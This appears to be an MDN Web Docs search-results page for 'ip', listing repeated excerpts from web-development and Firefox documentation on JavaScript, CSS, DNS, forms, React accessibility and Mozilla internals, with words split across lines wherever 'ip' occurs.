ipt, boolean conditionals are often used to decide which sections of code to execute (such as in if statements) or repeat (such as in for loops). below is some javascr
ipt pseudocode (it's not truly executable code) demonstrating this concept. ...
... in computer science, a boolean is a logical data type that can have only the values true or false. for example, in javascr
ipt, boolean conditionals are often used to decide which sections of code to execute (such as in if statements) or repeat (such as in for loops). below is some javascr
ipt pseudocode (it's not truly executable code) demonstrating this concept. ...
...repeat (such as in for loops). below is some javascr
ipt pseudocode (it's not truly executable code) demonstrating this concept. /* javascr
ipt if statement */ if (boolean conditional) { // code to execute if the conditional is true } if (boolean conditional) { console.log("boolean conditional resolved to true"); } else { console.log("boolean conditional resolved to false"); } /* javascr
ipt for loop */ for (control variable; boolean conditional; counter) { // code to execute repeatedly if the conditional is true } for (var i=0; i < 4; i++) { console.log("i print only when the boolean conditional is true"); } the boolean value is named after english mathematician george boole, who pioneered the field of mathematical logic. ...
...And 2 more matches
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
collection is a term used in computer programming to describe the process of finding and deleting objects which are no longer being referenced by other objects. ...
...the process of finding and deleting objects which are no longer being referenced by other objects. in other words, garbage collection is the process of removing any objects which are not being used by any other objects. ...
...ng objects which are no longer being referenced by other objects. in other words, garbage collection is the process of removing any objects which are not being used by any other objects. ...
...And 2 more matches
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
hoisting is a term you will not find used in any normative specification prose prior to ecmascr
ipt(r) 2015 language specification. hoisting was thought up as a general way of thinking about how execution contexts (specifically the creation and execution phases) work in javascr
ipt. however, the concept can be a little confusing at first. conceptually, for example, a strict definition of hoisting suggests that variable and function declarations are physically moved to the top of your code, but this is not in fact what happens. instead, the variable and function declarations are put into memory during the compile phase, but stay exactly where you typed them in your code. ...
...nceptually, for example, a strict definition of hoisting suggests that variable and function declarations are physically moved to the top of your code, but this is not in fact what happens. instead, the variable and function declarations are put into memory during the compile phase, but stay exactly where you typed them in your code. ...
...re technical example one of the advantages of javascr
ipt putting function declarations into memory before it executes any code segment is that it allows you to use a function before you declare it in your code. for example: function catname(name) { console.log("my cat's name is " + name); } catname("tiger"); /* the result of the code above is: "my cat's name is tiger" */ the above code sn
ippet is how you would expect to write the code for it to work. now, let's see what happens when we call the function before we write it: catname("chloe"); function catname(name) { console.log("my cat's name is " + name); } /* the result of the code above is: "my cat's name is chloe" */ even though we call the function in our code first, before the function is written, the code still works. th...
...And 2 more matches
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
this is important for preparing code that is production ready, for example with clean structures and minimal file size. ...
...this is important for preparing code that is production ready, for example with clean structures and minimal file size. ...
...this is important for preparing code that is production ready, for example with clean structures and minimal file size. ...
...And 2 more matches
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
traditionally in browsers the html parser ran on the main thread and was blocked after a </scr
ipt> tag until the scr
ipt has been retrieved from the network and executed. some html parser, such as firefox since firefox 4, support speculative parsing off of the main thread. it parses ahead while scr
ipts are being downloaded and executed. the html parser starts speculative loads for scr
ipts, style sheets and images it finds ahead in the stream and runs the html tree construction algorithm speculatively. the upside is that when a speculation succeeds, there's no need to reparse the part of the incoming file that was already scanned for scr
ipts, style sheets and images. the downside is that there's more work lost when the speculation fails. this document helps you avoid the kind of thing...
...don't add it via document.write() or document.createelement. ...
...d images. the downside is that there's more work lost when the speculation fails. this document helps you avoid the kind of things that make speculation fail and slow down the loading of your page. to make speculative loads of linked scr
ipts, style sheets and images successful, avoid document.write. if you use a <base> element to override the base uri of your page, put the element in the non-scr
ipted part of the document. don't add it via document.write() or document.createelement. avoiding losing tree builder output speculative tree building fails when document.write() changes the tree builder state such that the speculative state after the </scr
ipt> tag no longer holds when all the content inserted by document.write() has been parsed. however, only unusual uses of document.write() ca...
...And 2 more matches
What is accessibility? - Learn web development
ities. some users will rely on screen readers, which is software that reads digital text aloud. some screen reader examples include: some are paid commercial products, like jaws (windows) and dolphin screen reader (windows). some are free products, like nvda (windows), chromevox (chrome, windows and mac os x), and orca (linux). some are built into the operating system, like voiceover (macos,
ipados, ios), narrator (microsoft windows), chromevox (on chrome os), and talkback (android). it is a good idea to familiarise yourself with screen readers; you should also set up a screen reader and have a play around with it, to get an idea of how it works. see our cross-browser testing screen readers guide for more details on using them. the below video also provides a brief example of what the...
...people, this group of people has either low hearing levels or no hearing at all. hearing-impaired people do use ats (see assistive devices for people with hearing, voice, speech, or language disorders), but there are not really special ats specific for computer/web use. there are, however, specific techniques for providing textual alternatives to audio content which range from simple text transcr
ipts to text tracks (i.e. captions) that can be displayed along with video. an article, later on, will discuss these. hearing-impaired people also represent a significant userbase -- "466 million people worldwide have disabling hearing loss", says the world health organization's deafness and hearing loss fact sheet. people with mobility impairments these people have disabilities concerning moveme...
...rly minimal. when planning your project, factor accessibility testing into your testing regime, just like testing for any other important target audience segment (e.g. target desktop or mobile browsers). test early and often, ideally running automated tests to pick up on programmatically detectable missing features (such as missing image alternative text or bad link text -- see element relationsh
ips and context) and doing some testing with disabled user groups to see how well more complex site features work for them. for example: is my date picker widget usable by people using screen readers? if content updates dynamically, do visually impaired people know about it? are my ui buttons accessible using the keyboard and on touch interfaces? you can and should keep a note of potential pr...
...And 2 more matches
Styling tables - Learn web development
of all the text inside the header and footer to white (and given it a text-shadow) so it is readable. you should always make sure your text contrasts well with your background, so it is readable. we've also added a linear gradient to the <th> and <td> elements inside the header and footer for a nice bit of texture, as well as giving those elements a bright purple border. ...
...we've also added a linear gradient to the <th> and <td> elements inside the header and footer for a nice bit of texture, as well as giving those elements a bright purple border. it is useful to have mult
iple nested elements available so you can layer styles on top of one another. yes, we could have put both the background image and the linear gradient on the <thead> and <tfoot> elements using mult
iple background images, but we decided to do it separately for the benefit of older browsers that don't support mult
iple background images or linear gradients. zebra str
iping we wanted to dedicate a separate section to showing you how to implement zebra str
ipes -- alternating rows of color that make the different data rows in your table easier to parse and read. add the following css to the bottom...
...o do it separately for the benefit of older browsers that don't support mult
iple background images or linear gradients. zebra str
iping we wanted to dedicate a separate section to showing you how to implement zebra str
ipes -- alternating rows of color that make the different data rows in your table easier to parse and read. add the following css to the bottom of your style.css file: /* zebra str
iping */ tbody tr:nth-child(odd) { background-color: #ff33cc; } tbody tr:nth-child(even) { background-color: #e495e4; } tbody tr { background-image: url(noise.png); } table { background-color: #ff33cc; } earlier on you saw the :nth-child selector being used to select specific child elements. it can also be given a formula as a parameter, so it will select a sequence of elements. the f...
...And 2 more matches
Flexbox - Learn web development
and frustrating. the following simple layout requirements are either difficult or impossible to achieve with such tools, in any kind of convenient, flexible way: vertically centering a block of content inside its parent. making all the children of a container take up an equal amount of the available width/height, regardless of how much width/height is available. making all columns in a mult
iple column layout adopt the same height even if they contain a different amount of content. as you'll see in subsequent sections, flexbox makes a lot of layout tasks much easier. let's dig in! introducing a simple example in this article we are going to get you to work through a series of exercises to help you understand how flexbox works. to get started, you should make a local copy of the fir...
... the elements you want to affect. in this case we want to lay out the <article> elements, so we set this on the <section>: section { display: flex; } this causes the <section> element to become a flex container, and its children to become flex items. the result of this should be something like so: so, this single declaration gives us everything we need -- incredible, right? we have our mult
iple column layout with equal sized columns, and the columns are all the same height. this is because the default values given to flex items (the children of the flex container) are set up to solve common problems such as this. to be clear, let's reiterate what is happening here. the element we've given a display value of flex to is acting like a block-level element in terms of how it interacts w...
...nt to follow along with this example): here we see that the children are indeed breaking out of their container. one way in which you can fix this is to add the following declaration to your <section> rule: flex-wrap: wrap; also, add the following declaration to your <article> rule: flex: 200px; try this now; you'll see that the layout looks much better with this included: we now have mult
iple rows -- as many flexbox children are fitted onto each row as makes sense, and any overflow is moved down to the next line. the flex: 200px declaration set on the articles means that each will be at least 200px wide; we'll discuss this property in more detail later on. you might also notice that the last few children on the last row are each made wider so that the entire row is still filled. bu...
...And 2 more matches
create fancy boxes - Learn web development
box? .fancy { /* within a circle, centered text looks prettier. */ text-align : center; /* let's avoid our text touching the border. as our text will still flow in a square, it looks nicer that way, giving the feeling that it's a "real" circle. */ padding : 1em; /* the border will make the circle visible. ...
... our text will still flow in a square, it looks nicer that way, giving the feeling that it's a "real" circle. */ padding : 1em; /* the border will make the circle visible. you could also use a background, as backgrounds are cl
ipped by border radius */ border : 0.5em solid black; /* let's make sure we have a square. if it's not a square, we'll get an ell
ipsis rather than a circle ;) */ width : 4em; height : 4em; /* and let's turn the square into a circle */ border-radius: 100%; } yes, we get a circle: backgrounds when we talk about a fancy box, the core properties to handle that are background-* properties. when you start fiddling with backgrounds it's like your css box is turned into a blank canvas you'll fill. before we jump to so...
...scaled and positioned. ...
...And 2 more matches
Learn to style HTML using CSS - Learn web development
cascading stylesheets -- or css -- is the first technology you should start learning after html. while html is used to define the structure and semantics of your content, css is used to style it and lay it out. for example, you can use css to alter the font, color, size, and spacing of your content, split it into mult
iple columns, or add animations and other decorative features. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should learn the basics of html before attempting any css. we recommend that you work through our introduction to html module first. in that module, you will learn about: css, starting with the introduction to css module mo...
...ave put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should learn the basics of html before attempting any css. we recommend that you work through our introduction to html module first. in that module, you will learn about: css, starting with the introduction to css module more advanced html modules javascr
ipt, and how to use it to add dynamic functionality to web pages once you understand the fundamentals of html, we recommend that you learn html and css at the same time, moving back and forth between the two topics. this is because html is far more interesting and much more fun to learn when you apply css, and you can't really learn css without knowing html. before starting this topic, you should...
... covered in our css first steps module, albeit in a lot more detail. modules this topic contains the following modules, in a suggested order for working through them. you should definitely start with the first one. css first steps css (cascading style sheets) is used to style and lay out web pages -- for example, to alter the font, color, size, and spacing of your content, split it into mult
iple columns, or add animations and other decorative features. this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html. css building blocks this module carries on where css first steps left off -- now you've gained familiarity with the language and its syntax, and g...
...And 2 more matches
How much does it cost to do something on the Web? - Learn web development
everything costs, and how you get what you pay (or don't pay). software text editors you likely have a text editor: such as, notepad on windows, gedit on linux, textedit on mac. you'll have an easier time writing code if you choose an editor that color-codes, checks your syntax, and assists you with code structure. many editors are free, for example atom, brackets, bluefish, textwrangler, ecl
ipse, netbeans, and visual studio code. some, like sublime text, you can test as long as you like, but you're encouraged to pay. some, like phpstorm, can cost between a few dozen and 200 dollars, depending on the plan you purchase. some of them, like microsoft visual studio, can cost hundreds, or thousands of dollars; though visual studio express is free for individual developers or open source proj...
...g on the plan you purchase. some of them, like microsoft visual studio, can cost hundreds, or thousands of dollars; though visual studio express is free for individual developers or open source projects. often, for-pay editors will have a trial version. to start, we suggest trying out several editors, to get a sense of which works best for you. if you're only writing simple html, css, and javascr
ipt, go with a simple editor. price does not reliably reflect a text editor's quality or usefulness. you have to try it for yourself and decide if it meets your needs. for example, sublime text is cheap, but comes with many free plugins that can greatly extend its functionality. image editors your system likely includes a simple image editor, or viewer: paint on windows, eye of gnome on ubuntu, p...
...eed to upload content to a remote server (see hosting below), so you need a modem. your isp can rent internet connectivity to you for a few dollars per month, though your budget might vary, depending on your location. isp access make sure that you have sufficient bandwidth: low-bandwidth access may be adequate to support a 'simple' website: reasonably-sized images, texts, some css and javascr
ipt. that will likely cost you a few dozen dollars, including the rent for the modem. on the other hand, you'll need a high-bandwidth connection, such as dsl, cable, or fiber access, if you want a more advanced website with hundreds of files, or if you want to deliver heavy video/audio files directly from your web server. it could cost the same as low-bandwidth access, upwards to several hundred do...
...And 2 more matches
What is a Domain Name? - Learn web development
first you need to know how the internet works and understand what urls are. objective: learn what domain names are, how they work, and why they are important. summary domain names are a key part of the internet infrastructure. they provide a human-readable address for any web server available on the internet. any internet-connected computer can be reached through a public
ip address, either an
ipv4 address (e.g. 173.194.121.32) or an
ipv6 address (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). computers can handle such addresses easily, but people have a hard time finding out who's running the server or what service the website offers.
ip addresses are hard to remember and might change over time. to solve all those problems we use human-readable addresses called d...
...re it is automatically invalidated and then refreshed (the dns server queries an authoritative server and fetches the updated information from it). thus, it takes some time for dns servers that know about this domain name to get the up-to-date information. ...
...es some time for dns servers that know about this domain name to get the up-to-date information. how does a dns request work? as we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an
ip address. let's take a look at the process: type mozilla.org in your browser's location bar. your browser asks your computer if it already recognizes the
ip address identified by this domain name (using a local dns cache). if it does, the name is translated to the
ip address and the browser negotiates contents with the web server. end of story. if your computer does not know which
ip is behind the mozilla.org name, it goes on to ask a dns server, whose job is precisely to tell your computer which
ip address matches each registered domain name. now ...
...And 2 more matches
Sending form data - Learn web development
eeting.html: this template just contains a line that renders the two bits of data passed to it when it is rendered. this is done via the hello() function seen above, which runs when the /hello url is navigated to. note: again, this code won't work if you just try to load it into a browser directly. python works a bit differently to php -- to run this code locally you'll need to install python/p
ip, then install flask using p
ip3 install flask. at this point you should be able to run the example using python3 python-example.py, then navigating to localhost:5000 in your browser. other languages and frameworks there are many other server-side technologies you can use for form handling, including perl, java, .net, ruby, etc. just pick the one you like best. that said, it's worth noting that ...
...cause it tells the server what kind of data is being sent. by default, its value is application/x-www-form-urlencoded. in human terms, this means: "this is form data that has been encoded into url parameters." if you want to send files, you need to take three extra steps: set the method attribute to post because file content can't be put inside url parameters. ...
...t. by default, its value is application/x-www-form-urlencoded. in human terms, this means: "this is form data that has been encoded into url parameters." if you want to send files, you need to take three extra steps: set the method attribute to post because file content can't be put inside url parameters. ...
...And 2 more matches
How the Web works - Learn web development
hat the web is a road. on one end of the road is the client, which is like your house. on the other end of the road is the server, which is a shop you want to buy something from. in addition to the client and the server, we also need to say hello to: your internet connection: allows you to send and receive data on the web. it's basically like the street between your house and the shop. tcp/
ip: transmission control protocol and internet protocol are communication protocols that define how data should travel across the internet. this is like the transport mechanisms that let you place an order, go to the shop, and buy your goods. in our example, this is like a car or a bike (or however else you might get around). dns: domain name servers are like an address book for websites. when you ...
...ol is an application protocol that defines a language for clients and servers to speak to each other. this is like the language you use to order your goods. component files: a website is made up of many different files, which are like the different parts of the goods you buy from the shop. these files come in two main types: code files: websites are built primarily from html, css, and javascr
ipt, though you'll meet other technologies a bit later. assets: this is a collective name for all the other stuff that makes up a website, such as images, music, video, word documents, and pdfs. so what happens, exactly? when you type a web address into your browser (for our analogy that's like walking to the shop): the browser goes to the dns server, and finds the real address of the se...
...to the dns server, and finds the real address of the server that the website lives on (you find the address of the shop). the browser sends an http request message to the server, asking it to send a copy of the website to the client (you go to the shop and order your goods). this message, and all other data sent between the client and the server, is sent across your internet connection using tcp/
ip. if the server approves the client's request, the server sends the client a "200 ok" message, which means "of course you can look at that website! here it is", and then starts sending the website's files to the browser as a series of small chunks called data packets (the shop gives you your goods, and you bring them back to your house). the browser assembles the small chunks into a complete web...
...And 2 more matches
HTML table basics - Learn web development
prerequisites: the basics of html (see introduction to html). objective: to gain basic familiarity with html tables. what is a table ? a table is a structured set of data made up of rows and columns (tabular data). ...
..., to help them stand out. tables headers also have an added benefit -- along with the scope attribute (which we'll learn about in the next article), they allow you to make tables more accessible by associating each header with all the data in the same row or column. screenreaders are then able to read out a whole row or column of data at once, which is pretty useful. allowing cells to span mult
iple rows and columns sometimes we want cells to span mult
iple rows or columns. take the following simple example, which shows the names of common animals. in some cases, we want to show the names of the males and females next to the animal name. sometimes we don't, and in such cases we just want the animal name to span the whole table. the initial markup looks like this: <table> <tr> <th>a...
...nt cells to span mult
iple rows or columns. take the following simple example, which shows the names of common animals. in some cases, we want to show the names of the males and females next to the animal name. sometimes we don't, and in such cases we just want the animal name to span the whole table. ...
...And 2 more matches
Build your own function - Learn web development
s overview: building blocks next with most of the essential theory dealt with in the previous article, this article provides practical experience. here you will get some practice building your own, custom function. along the way, we'll also explain some useful details of dealing with functions. prerequisites: basic computer literacy, a basic understanding of html and css, javascr
ipt first steps, functions -- reusable blocks of code. objective: to provide some practice in building a custom function, and explain a few more useful associated details. active learning: let's build a function the custom function we are going to build will be called displaymessage(). it will display a custom message box on a web page and will act as a customized replacement for...
... few more useful associated details. active learning: let's build a function the custom function we are going to build will be called displaymessage(). it will display a custom message box on a web page and will act as a customized replacement for a browser's built-in alert() function. we've seen this before, but let's just refresh our memories. type the following in your browser's javascr
ipt console, on any page you like: alert('this is a message'); the alert function takes a single argument -- the string that is displayed in the alert box. try varying the string to change the message. the alert function is limited: you can alter the message, but you can't easily vary anything else, such as the color, icon, or anything else. we'll build one that will prove to be more fun. note:...
... same rules as variable naming conventions. this is fine, as you can tell them apart -- function names appear with parentheses after them, and variables don't. start by accessing the function-start.html file and making a local copy. you'll see that the html is simple -- the body contains just a single button. we've also provided some basic css to style the custom message box, and an empty <scr
ipt> element to put our javascr
ipt in. next, add the following inside the <scr
ipt> element: function displaymessage() { } we start off with the keyword function, which means we are defining a function. this is followed by the name we want to give to our function, a set of parentheses, and a set of curly braces. any parameters we want to give to our function go inside the parentheses, and the c...
...And 2 more matches
Function return values - Learn web development
essential concept about functions for us to discuss -- return values. some functions don't return a significant value, but others do. it's important to understand what their values are, how to use them in your code, and how to make functions return useful values. we'll cover all of these below. prerequisites: basic computer literacy, a basic understanding of html and css, javascr
ipt first steps, functions -- reusable blocks of code. objective: to understand function return values, and how to make use of them. what are return values? return values are just what they sound like -- the values that a function returns when it has completed. you've already met return values a number of times, although you may not have thought about them explicitly. let's...
...t, and their return values substituted for the function calls, before the line itself is then executed. active learning: our own return value function let's have a go at writing our own functions featuring return values. first of all, make a local copy of the function-library.html file from github. this is a simple html page containing a text <input> field and a paragraph. ...
...n-library.html file from github. this is a simple html page containing a text <input> field and a paragraph. there's also a <scr
ipt> element, in which we have stored a reference to both html elements in two variables. this little page will allow you to enter a number into the text box, and display different numbers related to it in the paragraph below. let's add some useful functions to this <scr
ipt> element. ...
...And 2 more matches
Test your skills: Math - Learn web development
this aim of this skill test is to assess whether you've understood our basic math in javascr
ipt -- numbers and operators article. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). math 1 let's start out by testing your knowledge of basic math operators. you will have to create four num...
...finally, we need to write a test that proves that this value is an even number. ...
...that proves that this value is an even number. so, try updating the live code below to recreate the finished example, following these steps: create four variables that contain numbers. call the variables something sensible. add the first two variables together and store the result in another variable. subtract the fourth variable from the third and store the result in another variable. mult
iply the results from the last two steps together, storing the result in a variable called finalresult. the product should be 48. if it isn't, you'll have to adjust some of the initial input values. finally, write a calculation that checks whether finalresult is an even number. store the result in a variable called evenoddresult. download the starting point for this task to work in your own ed...
...And 2 more matches
Multimedia: Images - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the various image formats, their impact on performance, and how to reduce the impact of images on overall page load time. this is a high-level introduction to optimizing multimedia delivery on the web, covering general princ
iples and techniques. for a more in-depth guide, see https://images.guide. why optimize your multimedia? for the average website, 51% of its bandwidth comes from imagery, followed by video at 25%, so it's safe to say it's important to address and optimize your multi-media content. you need to be considerate of data usage. many people are on capped data plans or even pay-as-you-go where they ar...
...is far lower than many expect. however, images are mostly used for content, so it's important that a visitor can see them as soon as possible for a good experience. loading strategy one of the biggest improvements to most websites is lazy-loading images beneath-the-fold, rather than downloading them all on initial page load regardless of whether a visitor scrolls to see them or not. many javascr
ipt libraries can implement this for you, such as lazysizes, and browser vendors are working on a native lazyload attribute that is currently in the experimental phase. beyond loading a subset of images, next you should look into the format of the images themselves: are you loading the most optimal file formats? have you compressed the images well? are you loading the correct sizes? the most...
... file format (heif) or av1 still image file format (avif). given the narrow support for jpeg-xr and jpeg2000, and also taking decode costs into the equation, the only serious contender for jpeg today is webp. which is why you could consider offering your images in that flavor, too, for the browsers that support it. this can be done via the <picture> element with the help of a <source> element equ
ipped with a type attribute. if all of this sounds a bit complicated or feels like too much work for your team then there is also online services that you can use as image cdns that will automate the serving of the correct image format on-the-fly, according to the type of device or browser requesting the image. the biggest ones are cloudinary and image engine. and finally, should you want to inclu...
...And 2 more matches
The "why" of web performance - Learn web development
n speed. as an example, consider the loading experience of cnn.com, which at the time of this writing had over 400 http requests with a file size of over 22.6mb. imagine loading this on a desktop computer connected to a fibre optic network. this would seem relatively fast, and the file size would be largely irrelevant. ...
... a 22.6 mb site could take up to 83 seconds to load on a 3g network, with domcontentloaded (meaning the site's base html structure) at 31.86 seconds. and it isn't just the time taken to download that is a major problem. ...
...per user. rebuilding pinterest pages for performance resulted in a 40% decrease in wait time, a 15% increase in seo traffic and a 15% increase in conversion rate to signup. to build websites and applications people want to use; to attract and retain site visitors, you need to create an accessible site that provides a good user experience. building websites requires html, css, and javascr
ipt, typically including binary file types such as images and video. the decisions you make and the tools you choose as you build your site can greatly affect the performance of the finished work. good performance is an asset. bad performance is a liability. site speed directly affects bounce rates, conversion, revenue, user satisfaction, and search engine ranking. performant sites have been shown ...
...And 2 more matches
Accessibility in React - Learn web development
objective: to learn about implementing keyboard accessibility in react. including keyboard users at this point, we've accomplished all of the features we set out to implement. a user can add a new task, check and uncheck tasks, delete tasks, or edit task names. ...
... objective: to learn about implementing keyboard accessibility in react. including keyboard users at this point, we've accomplished all of the features we set out to implement. a user can add a new task, check and uncheck tasks, delete tasks, or edit task names. ...
...eeffect } from "react"; then declare a new ref inside the app() function. just above the return statement is a good place: const listheadingref = useref(null); prepare the heading heading elements like our <h2> are not usually focusable. this isn't a problem -- we can make any element programmatically focusable by adding the attribute tabindex="-1" to it. this means only focusable with javascr
ipt. you can't press tab to focus on an element with a tabindex of -1 the same way you could do with a <button> or <a> element (this can be done using tabindex="0", but that's not really appropriate in this case). let's add the tabindex attribute -- written as tabindex in jsx -- to the heading above our list of tasks, along with our headingref: <h2 id="list-heading" tabindex="-1" ref={listheadingr...
...And 2 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
objective: to learn about conditional rendering in react, and implementing list filtering and an editing ui in our app. ...
...e end of our react journey (for now at least), we'll add the finishing touches to the main areas of functionality in our todo list app. this includes allowing you to edit existing tasks, and filtering the list of tasks between all, completed, and incomplete tasks. we'll look at conditional ui rendering along the way. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. objective: to learn about conditional rendering in react, and implementing list filtering and an editing ui in our app. editing the name of a task we don't have a user interface for editing the name of a task yet. we'll get to that in a moment. to start with, we can at least implement an edittask() function in app.js. it'...
...ted, and incomplete. adding a filter hook add a new hook to your app() function that reads and sets a filter. we want the default filter to be all because all of our tasks should be shown initially: const [filter, setfilter] = usestate('all'); defining our filters our goal right now is two-fold: each filter should have a unique name. each filter should have a unique behavior. a javascr
ipt object would be a great way to relate names to behaviors: each key is the name of a filter; each property is the behavior associated with that name. at the top of app.js, beneath our imports but above our app() function, let's add an object called filter_map: const filter_map = { all: () => true, active: task => !task.completed, completed: task => task.completed }; the values of filter_...
...And 2 more matches
Debugging on Windows
} >debug.evaluatestatement ((nsgenericelement*)0x03f0e710)->list((file*)0x10311dc0, 1) <void> >debug.evaluatestatement {,,msvcr80d}fclose((file*)0x10311dc0) 0x00000000 note that you may not see the debugging output until you flush or close the file handle. disabling assertions there are basically two ways to disable assertions. one requires setting an environment variable, while the other a...
...o instances of mozilla (e.g. debug and optimized) simultaneously by setting the environment variable moz_no_remote: set moz_no_remote=1 or, starting with firefox 2 and other gecko 1.8.1-based applications, you can use the -no-remote command-line switch instead (implemented in bug 325509). you can also specify the profile to use with the -p profile_name command-line argument. ...
...debug and optimized) simultaneously by setting the environment variable moz_no_remote: set moz_no_remote=1 or, starting with firefox 2 and other gecko 1.8.1-based applications, you can use the -no-remote command-line switch instead (implemented in bug 325509). you can also specify the profile to use with the -p profile_name command-line argument. debugging javascr
ipt use venkman, the javascr
ipt debugger for mozilla. ...
...And 2 more matches
Interface Compatibility
nterface changes are different depending on the consumers and the languages involved. web content apis which are visible to web content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option. any changes, including new features, must have super-review. one exception to this rule is apis which are explicitly sh
ipped with mozilla prefixes as a technology preview. this includes css properties that begin with the -moz- prefix (e.g. -moz-box-shadow), or javascr
ipt apis that begin with the moz prefix (e.g. canvasrenderingcontext.mozdrawtext). these apis may be removed or replaced with standard interfaces in future releases of mozilla. jetpack the jetpack sdk and apis are not yet complete. the stable version ...
...hat begin with the -moz- prefix (e.g. -moz-box-shadow), or javascr
ipt apis that begin with the moz prefix (e.g. canvasrenderingcontext.mozdrawtext). these apis may be removed or replaced with standard interfaces in future releases of mozilla. jetpack the jetpack sdk and apis are not yet complete. the stable version 1.0 of the jetpack sdk is planned for later in 2010. documented apis which are sh
ipped as part of the jetpack sdk are designed to work in future versions of firefox. achieving this compatibility may require rebuilding the extension with a new version of the jetpack sdk. javascr
ipt/xul interfaces traditional extensions written using xul overlays and xpcom have access to the full power of the mozilla platform. with the power, however, comes the understanding that the mozilla platf...
...e full power of the mozilla platform. with the power, however, comes the understanding that the mozilla platform is constantly changing and many apis may change in future versions of firefox. in micro/maintenance releases, there should be no incompatible changes to interfaces, except as a last resort when a security fix leaves no other option. this includes not only xpcom interfaces, but javascr
ipt functions, xbl bindings, and any other visible behavior. between major releases, there is no guarantee of interface stability. changes should not be taken lightly, however: especially if a change is likely to affect many extensions, the change should try to maintain backwards compatibility by using optional/default parameters or other javascr
ipt techniques. where appropriate, new apis should b...
...And 2 more matches
Reviewer Checklist
in c++, wrapper-cache as needed. ...
...ging of urls or content from which urls may be inferred. [fennec: android services has logger.pii() for this purpose (e.g., logging profile dir)]. tag for privacy review if needed. resource leaks in java, memory leaks are largely due to singletons holding on to caches and collections, or observers sticking around, or runnables sitting in a queue. in c++, cycle-collect as needed. if javascr
ipt can see your object, it probably needs to be cycle-collected. [fennec: if your custom view does animations, it's better to clean up runnables in ondetachfromwindow().] ensure all file handles and other closeable resources are closed appropriately. [fennec: when writing tests that use paintedsurface, ensure the paintedsurface is closed when you're done with it.] performance impact check f...
...closed appropriately. [fennec: when writing tests that use paintedsurface, ensure the paintedsurface is closed when you're done with it.] performance impact check for main-thread io [fennec: android may warn about this with strictmode]. remove debug logging that is not needed in production. threading issues enormous: correct use of locking and volatility; livelock and deadlock; ownersh
ip. [fennec: all view methods should be touched only on ui thread.] [fennec: activity lifecycle awareness (works with "never keep activities"). also test with oom-fennec (https://hg.mozilla.org/users/blassey_mozilla.com/oom-fennec/)]. compatibility version files, databases, messages tag messages with ids to disambiguate callers. idl uuids are updated when the interface is updated. android ...
...And 2 more matches
Firefox
with broad compatibility, the latest in web technologies, and powerful development tools, firefox is a great choice for both web developers and end users. firefox is an open source project; much of the code is contributed by our huge community of volunteers. here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics. ...
...he new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space. linux compatibility matrixthe following table lists the available library versions for the mozilla.org-distributed firefox builds dependencies, and/or to build firefox.mult
iple firefox profilesa profile in firefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of firefox. you can find details about profiles on mozilla's end-user support site.performance best practices for firefox front-end engineersthis guide will help firefox developers working on front-end code produce code which i...
... ...
...And 2 more matches
DeferredTask.jsm
firefox 28 note interface was changed in firefox 28, and old methods were removed. the deferredtask.jsm javascr
ipt code module offers utility routines for a task that will run after a delay. mult
iple attempts to run the same task before the delay will be coalesced. to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/deferredtask.jsm"); use this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards. with deferredtask, the task is delayed by a few milliseconds and, should a new change to the data occur during this period, only the final version of the data is actually written; a further grace delay is added to take into account other c...
...ispending(); return value returns true if pending, false otherwise. start obsolete since gecko 28 start (or postpone) task. void start(); flush obsolete since gecko 28 perform any postponed task immediately. void flush(); cancel obsolete since gecko 28 cancel any pending task. void cancel(); arm request the execution of the task after the delay specified on construction. mult
iple calls don't introduce further delays. if the task is running, the delay will start when the current execution finishes. the task will always be executed on a different tick of the event loop, even if the delay specified on construction is zero. mult
iple "arm" calls within the same tick of the event loop are guaranteed to result in a single execution of the task. by design, this method doesn't...
... and the returned promise resolves when the new execution terminates. if the task is not running and the timer is not armed, the method returns a resolved promise. promise finalize(); example firefox 28 note this section describes about deferredtask.jsm in firefox 28.0 or higher. set up a function or an asynchronous task whose execution can be triggered after a defined delay. ...
...And 2 more matches
Following the Android Toasts Tutorial from a JNI Perspective
this article is a work in progress and is based on githubgist :: _ff-addon-tutorial-jniandroidtoast.js this article will follow the android developers :: api guides - toasts tutorial. it will use the jni.jsm module that is available in firefox for android since version 17. this article teaches developers how to port java code to jni by reading the java and android documentation. toast descr
iption a toast provides simple feedback about an operation in a small popup. it only fills the amount of space required for the message, and the current activity remains visible and interactive. for example, navigating away from an email before you send it triggers a "draft saved" toast to let you know that you can continue editing later. toasts automatically disappear after a timeout. toasts do not...
...ollowing java code, which invokes a toast and says "hello, firefox!". context context = getapplicationcontext(); charsequence text = "hello, firefox!"; int duration = toast.length_short; toast toast = toast.maketext(context, text, duration); toast.show(); nativewindow code as mentioned earlier, toasts are a very popular feature, so mozilla developers chose to bring it to the privileged javascr
ipt scope via the nativewindow object. the java code example above can be done with privileged javascr
ipt from firefox for android with the following code: window.nativewindow.toast.show("hello, firefox!", "short"); converting java to jni.jsm the first step is to look at the java code and see all the different types, methods, constructors, and fields that are being used. in the toast code we hav...
